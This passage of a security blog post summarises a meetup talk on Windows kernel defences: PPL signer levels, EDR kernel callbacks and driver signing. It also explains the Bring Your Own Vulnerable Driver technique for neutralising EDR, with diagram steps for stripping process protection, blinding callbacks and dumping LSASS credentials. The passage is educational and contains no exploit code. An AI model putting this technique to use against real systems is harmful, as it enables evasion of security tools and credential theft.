  <rect x="490" y="35" width="24" height="20" rx="4" fill="#dd6b20"></rect>
  <text x="502" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">4</text>
  <text x="547" y="70" text-anchor="middle" class="diagram-title">IOCTL Exploit</text>
  <text x="547" y="91" text-anchor="middle" class="diagram-text-muted">DeviceIoControl()</text>
  <text x="547" y="107" text-anchor="middle" class="diagram-text-muted">Buffer Flaws</text>
  <text x="547" y="125" text-anchor="middle" class="diagram-text-muted">Ring 0 Primitives</text>
  <line x1="615" y1="92" x2="633" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="635" y="25" width="130" height="135" rx="10" fill="url(#flowGrad3)" stroke="#e53e3e" stroke-width="1.8"></rect>
  <rect x="645" y="35" width="24" height="20" rx="4" fill="#e53e3e"></rect>
  <text x="657" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">5</text>
  <text x="700" y="70" text-anchor="middle" class="diagram-title">EDR Neutralized</text>
  <text x="700" y="91" text-anchor="middle" class="diagram-text-muted">PPL Stripping</text>
  <text x="700" y="107" text-anchor="middle" class="diagram-text-muted">Callback Blinding</text>
  <text x="700" y="125" text-anchor="middle" class="diagram-text-muted">LSASS Dumping</text>
</svg>
<figcaption class="diagram-caption"><strong>Fig 1.1:</strong> Technical workflow of Session 1 covering Windows Kernel Architecture, EDR defenses, and BYOVD exploitation.</figcaption>
</figure>
</div>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-1-operating-system-fundamentals--privilege-boundaries">Part 1: Operating System Fundamentals &amp; Privilege Boundaries<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-1-operating-system-fundamentals--privilege-boundaries" class="hash-link" aria-label="Direct link to Part 1: Operating System Fundamentals &amp; Privilege Boundaries" title="Direct link to Part 1: Operating System Fundamentals &amp; Privilege Boundaries" translate="no">​</a></h3>
<p>To understand how security tools defend Windows and why attackers target the kernel, it is necessary to examine how the operating system partitions memory and privilege.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-user-mode-ring-3-vs-kernel-mode-ring-0">1. User Mode (Ring 3) vs. Kernel Mode (Ring 0)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-user-mode-ring-3-vs-kernel-mode-ring-0" class="hash-link" aria-label="Direct link to 1. User Mode (Ring 3) vs. Kernel Mode (Ring 0)" title="Direct link to 1. User Mode (Ring 3) vs. Kernel Mode (Ring 0)" translate="no">​</a></h4>
<p>Modern processor architectures (such as x86/x64) implement hardware privilege rings to enforce execution boundaries:</p>
<ul>
<li class=""><strong>User Mode (Ring 3):</strong> Standard user applications, background services, and third-party software execute here. In User Mode, every process operates inside its own isolated virtual address space. A user-mode application cannot directly read or write memory belonging to another process or the kernel, nor can it execute privileged CPU instructions. If an application crashes due to an unhandled exception, only that individual process terminates; the underlying operating system remains intact.</li>
<li class=""><strong>Kernel Mode (Ring 0):</strong> The core operating system executive (<code>ntoskrnl.exe</code>), the Hardware Abstraction Layer (HAL), and kernel-mode device drivers execute here. Kernel code runs in a single, shared flat virtual address space with unrestricted access to physical memory, hardware I/O ports, and CPU control registers. An unhandled exception or memory corruption in Ring 0 triggers a system bugcheck (<code>KeBugCheckEx</code>), resulting in a <strong>Blue Screen of Death (BSOD)</strong>.</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img small-diagram img_ev3q" src="https://thumb.wikimedia.org/wikipedia/commons/thumb/2/2f/Priv_rings.svg/330px-Priv_rings.svg.png?utm_source=en.wikipedia.org&amp;utm_campaign=parser&amp;utm_content=thumbnail" alt="CPU privilege rings - Ring 0 kernel mode vs Ring 3 user mode">
<figcaption class="diagram-caption"><strong>Fig 1.2:</strong> CPU privilege rings. Ring 0 operates with full hardware authority, while Ring 3 enforces process isolation.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-the-role-of-device-drivers">2. The Role of Device Drivers<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-the-role-of-device-drivers" class="hash-link" aria-label="Direct link to 2. The Role of Device Drivers" title="Direct link to 2. The Role of Device Drivers" translate="no">​</a></h4>
<p>A <strong>device driver</strong> is a software component that facilitates communication between the Windows Executive and physical hardware (or virtual devices). Because hardware devices require direct memory mapping and interrupt handling, hardware drivers execute in <strong>Kernel Mode (Ring 0)</strong>.</p>
<p>To visualize this, consider an application sending a print job:</p>
<ol>
<li class="">The application issues a high-level API call.</li>
<li class="">The operating system formats the request and passes it to the printer driver.</li>
<li class="">The printer driver translates the abstract print command into hardware-specific commands understood by the printer's internal controller.</li>
</ol>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>Because drivers reside in <strong>Ring 0</strong>, any vulnerability inside a driver runs with the full authority of the Windows kernel, completely bypassing user-mode restrictions.</p></div></div>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-2-windows-defensive-primitives-explained">Part 2: Windows Defensive Primitives Explained<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-2-windows-defensive-primitives-explained" class="hash-link" aria-label="Direct link to Part 2: Windows Defensive Primitives Explained" title="Direct link to Part 2: Windows Defensive Primitives Explained" translate="no">​</a></h3>
<p>Security products (Antivirus, EDR, and digital forensics tools) deploy kernel-mode drivers to gain visibility and enforce active defenses. The session examined four fundamental defensive mechanisms:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-protected-process-light-ppl">1. Protected Process Light (PPL)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-protected-process-light-ppl" class="hash-link" aria-label="Direct link to 1. Protected Process Light (PPL)" title="Direct link to 1. Protected Process Light (PPL)" translate="no">​</a></h4>
<p>Windows historically allowed any process running with administrative privileges (<code>SeDebugPrivilege</code>) to inspect, modify, or terminate any other user-mode process. To prevent malware with local administrator rights from tampering with core system components, Microsoft introduced the <strong>Protected Process (PP)</strong> model in Windows Vista (initially for digital rights management) and expanded it in Windows 8.1 to <strong>Protected Process Light (PPL)</strong>.</p>
<p>PPL creates a protected container around critical services such as <code>lsass.exe</code> (Local Security Authority Subsystem Service) and antimalware processes (like Windows Defender's <code>MsMpEng.exe</code>).</p>
<p>PPL enforces a hierarchical trust model governed by the process signer level:</p>




































































<table><thead><tr><th style="text-align:center">Level (Decimal)</th><th style="text-align:center">Signer Value (Hex)</th><th>Signer Name</th><th>Hierarchy Rank</th><th>Target Protected Processes</th></tr></thead><tbody><tr><td style="text-align:center"><strong>7</strong></td><td style="text-align:center"><code>0x07</code> / <code>0x82</code></td><td><code>WinSystem</code></td><td><strong>Highest Authority</strong></td><td>Core kernel system components, <code>smss.exe</code></td></tr><tr><td style="text-align:center"><strong>6</strong></td><td style="text-align:center"><code>0x06</code> / <code>0x72</code></td><td><code>WinTcb</code></td><td>Trusted Computing Base</td><td><code>csrss.exe</code>, <code>services.exe</code></td></tr><tr><td style="text-align:center"><strong>5</strong></td><td style="text-align:center"><code>0x05</code> / <code>0x62</code></td><td><code>Windows</code></td><td>Standard OS Services</td><td><code>wininit.exe</code>, <code>lsaiso.exe</code></td></tr><tr><td style="text-align:center"><strong>4</strong></td><td style="text-align:center"><code>0x04</code> / <code>0x52</code></td><td><code>Lsa</code></td><td>Identity &amp; Secrets Target</td><td><strong><code>lsass.exe</code></strong> (Credential storage)</td></tr><tr><td style="text-align:center"><strong>3</strong></td><td style="text-align:center"><code>0x03</code> / <code>0x42</code></td><td><code>Antimalware</code></td><td>Security Software</td><td><strong>AV/EDR Engines</strong> (<code>MsMpEng.exe</code>)</td></tr><tr><td style="text-align:center"><strong>2</strong></td><td style="text-align:center"><code>0x02</code> / <code>0x32</code></td><td><code>CodeGen</code></td><td>Compiler Services</td><td>Dynamic code generation tools</td></tr><tr><td style="text-align:center"><strong>1</strong></td><td style="text-align:center"><code>0x01</code> / <code>0x22</code></td><td><code>Authenticode</code></td><td>Signed Applications</td><td>Authenticode-signed 3rd-party software</td></tr><tr><td style="text-align:center"><strong>0</strong></td><td style="text-align:center"><code>0x00</code> / <code>0x00</code></td><td><code>None</code></td><td><strong>Lowest (Unprotected)</strong></td><td>Standard user applications &amp; malware</td></tr></tbody></table>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 340" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <linearGradient id="pplGradHigh" x1="0%" y1="0%" x2="100%" y2="0%">
      <stop offset="0%" stop-color="#2b6cb0"></stop>
      <stop offset="100%" stop-color="#2c5282"></stop>
    </linearGradient>
    <linearGradient id="pplGradMid" x1="0%" y1="0%" x2="100%" y2="0%">
      <stop offset="0%" stop-color="#319795"></stop>
      <stop offset="100%" stop-color="#285e61"></stop>
    </linearGradient>
    <linearGradient id="pplGradTarget" x1="0%" y1="0%" x2="100%" y2="0%">
      <stop offset="0%" stop-color="#805ad5"></stop>
      <stop offset="100%" stop-color="#553c9a"></stop>
    </linearGradient>
    <linearGradient id="pplGradLow" x1="0%" y1="0%" x2="100%" y2="0%">
      <stop offset="0%" stop-color="#e53e3e"></stop>
      <stop offset="100%" stop-color="#9b2c2c"></stop>
    </linearGradient>
  </defs>
  <rect x="10" y="10" width="760" height="320" rx="14" fill="#f7fafc" stroke="#e2e8f0" stroke-width="1.5"></rect>
  <rect x="40" y="28" width="700" height="40" rx="8" fill="url(#pplGradHigh)"></rect>
  <text x="60" y="53" font-family="sans-serif" font-size="13" font-weight="bold" fill="#ffffff">Level 7 / 6: WinSystem / WinTcb</text>
  <text x="720" y="53" text-anchor="end" font-family="sans-serif" font-size="12" font-weight="bold" fill="#ffffff">Highest Authority ,  CSRSS, SMSS, Services</text>
  <rect x="40" y="76" width="700" height="40" rx="8" fill="url(#pplGradHigh)"></rect>
  <text x="60" y="101" font-family="sans-serif" font-size="13" font-weight="bold" fill="#ffffff">Level 5: Windows</text>
  <text x="720" y="101" text-anchor="end" font-family="sans-serif" font-size="12" fill="#e2e8f0">Standard Windows OS Services (wininit.exe)</text>
  <rect x="40" y="124" width="700" height="46" rx="8" fill="url(#pplGradTarget)" stroke="#d6bcfa" stroke-width="2"></rect>
  <text x="60" y="152" font-family="sans-serif" font-size="13" font-weight="bold" fill="#ffffff">Level 4: Lsa (lsass.exe)</text>
  <text x="720" y="152" text-anchor="end" font-family="sans-serif" font-size="12" font-weight="bold" fill="#fed7e2">[Target] Credential Storage &amp; Kerberos Tickets</text>
  <rect x="40" y="178" width="700" height="40" rx="8" fill="url(#pplGradMid)"></rect>
  <text x="60" y="203" font-family="sans-serif" font-size="13" font-weight="bold" fill="#ffffff">Level 3: Antimalware</text>
  <text x="720" y="203" text-anchor="end" font-family="sans-serif" font-size="12" fill="#e6fffa">Third-Party EDR / AV Engines (MsMpEng.exe)</text>
  <rect x="40" y="226" width="700" height="38" rx="8" fill="#4a5568"></rect>
  <text x="60" y="250" font-family="sans-serif" font-size="12" font-weight="bold" fill="#ffffff">Level 1: Authenticode</text>
  <text x="720" y="250" text-anchor="end" font-family="sans-serif" font-size="12" fill="#cbd5e0">Signed User Applications</text>
  <rect x="40" y="272" width="700" height="38" rx="8" fill="url(#pplGradLow)"></rect>
  <text x="60" y="296" font-family="sans-serif" font-size="12" font-weight="bold" fill="#ffffff">Level 0: None (Unprotected)</text>
  <text x="720" y="296" text-anchor="end" font-family="sans-serif" font-size="12" font-weight="bold" fill="#fff5f5">Lowest Rank ,  Standard Apps &amp; Malware (Blocked from Levels 1-7)</text>
</svg>
<figcaption class="diagram-caption"><strong>Fig 1.3:</strong> Windows Protected Process Light (PPL) Signer Hierarchy. Lower tiers cannot acquire write/terminate handles to higher tiers.</figcaption>
</figure>
</div>
<p>The protection level is stored inside the kernel's internal process representation structure, <code>EPROCESS</code>, in the <code>PS_PROTECTION</code> field:</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">typedef</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">struct</span><span class="token plain"> </span><span class="token class-name">_PS_PROTECTION</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">union</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">        UCHAR Level</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">        </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">struct</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">            UCHAR Type   </span><span class="token operator">:</span><span class="token plain"> </span><span class="token number">3</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><span class="token plain"> </span><span class="token comment" style="color:rgb(98, 114, 164)">// PS_PROTECTED_TYPE (None=0, ProtectedLight=1, Protected=2)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">            UCHAR Audit  </span><span class="token operator">:</span><span class="token plain"> </span><span class="token number">1</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><span class="token plain"> </span><span class="token comment" style="color:rgb(98, 114, 164)">// Audit mode flag</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">            UCHAR Signer </span><span class="token operator">:</span><span class="token plain"> </span><span class="token number">4</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><span class="token plain"> </span><span class="token comment" style="color:rgb(98, 114, 164)">// PS_PROTECTED_SIGNER (None, Authenticode, Antimalware, Lsa, Windows, WinTcb, etc.)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">        </span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><span class="token plain"> s</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><span class="token plain"> PS_PROTECTION</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain">PPS_PROTECTION</span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><br></div></code></pre></div></div>
<p>When a process requests a handle to another process via the standard Windows API <code>OpenProcess</code>, the kernel evaluates the caller's protection level against the target:</p>
<ul>
<li class="">A non-PPL process (<code>Level 0</code>) attempting to open a handle to a PPL process (<code>Level 3</code> or <code>Level 4</code>) with permissions such as <code>PROCESS_TERMINATE</code>, <code>PROCESS_VM_READ</code>, or <code>PROCESS_VM_WRITE</code> will receive an <code>ACCESS_DENIED</code> (error code <code>5</code>) response, even if the caller is running as <code>NT AUTHORITY\SYSTEM</code>.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-kernel-callbacks-the-edr-nervous-system">2. Kernel Callbacks (The EDR Nervous System)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-kernel-callbacks-the-edr-nervous-system" class="hash-link" aria-label="Direct link to 2. Kernel Callbacks (The EDR Nervous System)" title="Direct link to 2. Kernel Callbacks (The EDR Nervous System)" translate="no">​</a></h4>
<p>To detect and intercept threats in real time, EDR drivers register <strong>Kernel Callbacks</strong>. These routines subscribe to operating system events directly inside the kernel:</p>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 240" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <marker id="cbArrow" viewBox="0 0 10 10" refX="7" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse">
      <path d="M 0 1.5 L 8 5 L 0 8.5 z" fill="#2b6cb0"></path>
    </marker>
    <marker id="cbArrowRed" viewBox="0 0 10 10" refX="7" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse">
      <path d="M 0 1.5 L 8 5 L 0 8.5 z" fill="#e53e3e"></path>
    </marker>
  </defs>
  <rect x="20" y="20" width="210" height="200" rx="10" fill="#edf2f7" stroke="#cbd5e0" stroke-width="1.8"></rect>
  <text x="125" y="48" text-anchor="middle" class="diagram-title">User Mode (Ring 3)</text>
  <rect x="35" y="65" width="180" height="60" rx="6" fill="#ffffff" stroke="#a0aec0"></rect>
  <text x="125" y="90" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#2d3748">Attacker / Malware</text>
  <text x="125" y="108" text-anchor="middle" class="diagram-text-muted">Calls OpenProcess() / Exec</text>
  <rect x="35" y="140" width="180" height="65" rx="6" fill="#fff5f5" stroke="#feb2b2"></rect>
  <text x="125" y="165" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#c53030">Blocked Action</text>
  <text x="125" y="185" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#e53e3e">STATUS_ACCESS_DENIED</text>
  <rect x="280" y="20" width="480" height="200" rx="10" fill="#ebf8ff" stroke="#bee3f8" stroke-width="1.8"></rect>
  <text x="520" y="48" text-anchor="middle" class="diagram-title">Kernel Mode (Ring 0)</text>
  <rect x="300" y="65" width="200" height="135" rx="8" fill="#ffffff" stroke="#3182ce"></rect>
  <text x="400" y="90" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#2b6cb0">Windows Executive</text>
  <text x="400" y="108" text-anchor="middle" class="diagram-text-muted">(ntoskrnl.exe Core)</text>
  <line x1="315" y1="120" x2="485" y2="120" stroke="#e2e8f0"></line>
  <text x="400" y="138" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#4a5568">PspCreateProcessNotify</text>
  <text x="400" y="156" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#4a5568">ObRegisterCallbacks</text>
  <text x="400" y="174" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#4a5568">PspLoadImageNotify</text>
  <rect x="540" y="65" width="200" height="135" rx="8" fill="#ebf8ff" stroke="#2b6cb0" stroke-width="1.8"></rect>
  <text x="640" y="90" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#2c5282">EDR Kernel Driver</text>
  <text x="640" y="108" text-anchor="middle" class="diagram-text-muted">(Registered Routines)</text>
  <line x1="555" y1="120" x2="725" y2="120" stroke="#bee3f8"></line>
  <text x="640" y="142" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#2b6cb0">Synchronous Inspection</text>
  <text x="640" y="162" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#4a5568">Handle Stripping</text>
  <text x="640" y="180" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#4a5568">Pre-Execution Block</text>
  <line x1="215" y1="95" x2="292" y2="95" stroke="#2b6cb0" stroke-width="1.8" marker-end="url(#cbArrow)"></line>
  <line x1="500" y1="100" x2="532" y2="100" stroke="#2b6cb0" stroke-width="1.8" marker-end="url(#cbArrow)"></line>
  <line x1="540" y1="150" x2="508" y2="150" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#cbArrowRed)"></line>
  <line x1="300" y1="170" x2="223" y2="170" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#cbArrowRed)"></line>
</svg>
<figcaption class="diagram-caption"><strong>Fig 1.4:</strong> Kernel Callbacks Model. EDR drivers subscribe to low-level system events to inspect and block malicious operations synchronously.</figcaption>
</figure>
</div>
<p>The primary kernel callback registration APIs include:</p>
<ul>
<li class=""><strong><code>PsSetCreateProcessNotifyRoutineEx</code>:</strong>
<ul>
<li class=""><em>Standard Usage:</em> Allows drivers to receive notifications whenever a process is created or exits.</li>
<li class=""><em>EDR Enforcement:</em> The callback receives a pointer to <code>PS_CREATE_NOTIFY_INFO</code>. If the EDR determines the binary or parent-child relationship is malicious, it sets <code>CreationStatus = STATUS_ACCESS_DENIED</code>. The kernel immediately aborts process creation before the main thread ever executes.</li>
</ul>
</li>
<li class=""><strong><code>PsSetCreateThreadNotifyRoutine</code>:</strong>
<ul>
<li class=""><em>Standard Usage:</em> Tracks thread creation across the system.</li>
<li class=""><em>EDR Enforcement:</em> Detects remote thread creation (such as process injection via <code>CreateRemoteThread</code>).</li>
</ul>
</li>
<li class=""><strong><code>PsSetLoadImageNotifyRoutine</code>:</strong>
<ul>
<li class=""><em>Standard Usage:</em> Notifies registered drivers when an executable image (EXE, DLL, or driver) is mapped into memory.</li>
<li class=""><em>EDR Enforcement:</em> Scans mapped modules and checks digital signatures before execution starts.</li>
</ul>
</li>
<li class=""><strong><code>ObRegisterCallbacks</code>:</strong>
<ul>
<li class=""><em>Standard Usage:</em> Object Manager callback that intercepts handle operations on processes, threads, and desktop objects.</li>
<li class=""><em>EDR Enforcement:</em> When an attacker attempts to open a handle to a security process (<code>OpenProcess</code>), the EDR driver intercepts the pre-operation callback (<code>OB_PRE_OPERATION_CALLBACK</code>) and dynamically strips high-privilege access masks (such as <code>PROCESS_TERMINATE</code>, <code>PROCESS_VM_WRITE</code>, and <code>PROCESS_DUP_HANDLE</code>).</li>
</ul>
</li>
<li class=""><strong><code>CmRegisterCallbackEx</code>:</strong>
<ul>
<li class=""><em>Standard Usage:</em> Registers a registry filtering callback.</li>
<li class=""><em>EDR Enforcement:</em> Blocks unauthorized modifications to persistence keys (e.g., Run keys, Services registry hives).</li>
</ul>
</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-driver-signature-enforcement-dse">3. Driver Signature Enforcement (DSE)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#3-driver-signature-enforcement-dse" class="hash-link" aria-label="Direct link to 3. Driver Signature Enforcement (DSE)" title="Direct link to 3. Driver Signature Enforcement (DSE)" translate="no">​</a></h4>
<p>To prevent attackers from loading unsigned rootkits, 64-bit Windows enforces <strong>Driver Signature Enforcement (DSE)</strong>. Managed by the Code Integrity module (<code>CI.dll</code>), DSE requires all kernel drivers to have a valid digital signature counter-signed by Microsoft before they can be loaded into memory.</p>
<p>DSE state is controlled by global variables inside <code>CI.dll</code>, primarily <code>g_CiEnabled</code> (and <code>g_CiOptions</code> on modern releases). If a driver binary is unsigned or its certificate chain is invalid, <code>NtLoadDriver</code> fails with <code>STATUS_INVALID_IMAGE_HASH</code>.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-3-the-trust-breakdown--the-byovd-concept">Part 3: The Trust Breakdown &amp; The BYOVD Concept<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-3-the-trust-breakdown--the-byovd-concept" class="hash-link" aria-label="Direct link to Part 3: The Trust Breakdown &amp; The BYOVD Concept" title="Direct link to Part 3: The Trust Breakdown &amp; The BYOVD Concept" translate="no">​</a></h3>
<p>While DSE ensures that only digitally signed drivers can be loaded, <strong>a cryptographic signature validates authorship and integrity, it does not validate code safety.</strong></p>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 180" xmlns="http://www.w3.org/2000/svg">
  <!-- -->
  <rect x="20" y="20" width="350" height="140" rx="10" fill="#ebf8ff" stroke="#3182ce" stroke-width="1.8"></rect>
  <rect x="35" y="32" width="20" height="20" rx="10" fill="#38a169"></rect>
  <text x="45" y="46" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#ffffff">✓</text>
  <text x="65" y="47" class="diagram-title" fill="#2b6cb0">What DSE Validates</text>
  <text x="35" y="76" class="diagram-text">• Valid CA Certificate Chain</text>
  <text x="35" y="96" class="diagram-text">• Microsoft WHQL Counter-Signature</text>
  <text x="35" y="116" class="diagram-text">• Binary Hash Matches Digest</text>
  <text x="35" y="136" font-family="sans-serif" font-size="11" font-weight="bold" fill="#38a169">Result: Driver Loads Successfully</text>
  <rect x="410" y="20" width="350" height="140" rx="10" fill="#fff5f5" stroke="#e53e3e" stroke-width="1.8"></rect>
  <rect x="425" y="32" width="20" height="20" rx="10" fill="#e53e3e"></rect>
  <text x="435" y="46" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#ffffff">✕</text>
  <text x="455" y="47" class="diagram-title" fill="#c53030">What DSE Does NOT Validate</text>
  <text x="425" y="76" class="diagram-text">• Unchecked IOCTL Input Buffers</text>
  <text x="425" y="96" class="diagram-text">• Arbitrary Kernel Read/Write Logic</text>
  <text x="425" y="116" class="diagram-text">• Unvalidated Process Kill Routines</text>
  <text x="425" y="136" font-family="sans-serif" font-size="11" font-weight="bold" fill="#e53e3e">Result: Attackers Exploit Ring 0 Flaws</text>
</svg>
<figcaption class="diagram-caption"><strong>Fig 1.5:</strong> The BYOVD Trust Paradox. Cryptographic validity does not guarantee memory safety or exploit resistance.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-bring-your-own-vulnerable-driver-byovd">What is Bring Your Own Vulnerable Driver (BYOVD)?<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#what-is-bring-your-own-vulnerable-driver-byovd" class="hash-link" aria-label="Direct link to What is Bring Your Own Vulnerable Driver (BYOVD)?" title="Direct link to What is Bring Your Own Vulnerable Driver (BYOVD)?" translate="no">​</a></h4>
<p><strong>BYOVD</strong> is an offensive technique in which an attacker with local administrative privileges drops a legitimate, officially signed third-party driver that contains known security vulnerabilities (such as arbitrary memory read/write primitives or unvalidated process control routines) onto the target machine.</p>
<p>Because the driver is properly signed, Windows loads it through standard service mechanisms (<code>sc create</code> / <code>sc start</code>). The attacker then communicates with the driver from user space to exploit its flaws, executing arbitrary logic with Kernel Mode (Ring 0) authority.</p>
<p>Known vulnerable drivers are indexed publicly on repositories like <strong><a href="https://www.loldrivers.io/" target="_blank" rel="noopener noreferrer" class="">LOLDrivers.io</a></strong> (Living Off The Land Drivers), tracking thousands of drivers capable of bypassing security controls.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-4-the-communication-mechanism---the-ioctl-interface">Part 4: The Communication Mechanism ,  The IOCTL Interface<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-4-the-communication-mechanism---the-ioctl-interface" class="hash-link" aria-label="Direct link to Part 4: The Communication Mechanism ,  The IOCTL Interface" title="Direct link to Part 4: The Communication Mechanism ,  The IOCTL Interface" translate="no">​</a></h3>
<p>To interact with a kernel driver, user-mode software uses the standard Windows Input/Output Control (<strong>IOCTL</strong>) interface.</p>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 230" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <marker id="ioctlArrow" viewBox="0 0 10 10" refX="7" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse">
      <path d="M 0 1.5 L 8 5 L 0 8.5 z" fill="#3182ce"></path>
    </marker>
  </defs>
  <rect x="20" y="20" width="320" height="190" rx="10" fill="#f7fafc" stroke="#cbd5e0" stroke-width="1.8"></rect>
  <text x="180" y="48" text-anchor="middle" class="diagram-title">User Mode (Ring 3 Client)</text>
  <rect x="35" y="65" width="290" height="55" rx="6" fill="#ffffff" stroke="#e2e8f0"></rect>
  <text x="45" y="88" font-family="monospace" font-size="11" fill="#2b6cb0">CreateFile("\\\\.\\DeviceName")</text>
  <text x="45" y="106" font-family="sans-serif" font-size="11" fill="#718096">Acquires open HANDLE to driver</text>
  <rect x="35" y="130" width="290" height="65" rx="6" fill="#ffffff" stroke="#e2e8f0"></rect>
  <text x="45" y="152" font-family="monospace" font-size="11" fill="#2b6cb0">DeviceIoControl(hDev, CODE, InBuf)</text>
  <text x="45" y="172" font-family="sans-serif" font-size="11" fill="#e53e3e">Crafted malicious payload buffer</text>
  <rect x="440" y="20" width="320" height="190" rx="10" fill="#ebf8ff" stroke="#3182ce" stroke-width="1.8"></rect>
  <text x="600" y="48" text-anchor="middle" class="diagram-title">Kernel Mode (Vulnerable Driver)</text>
  <rect x="455" y="65" width="290" height="55" rx="6" fill="#ffffff" stroke="#bee3f8"></rect>
  <text x="465" y="88" font-family="sans-serif" font-size="12" font-weight="bold" fill="#2c5282">Named Device Object</text>
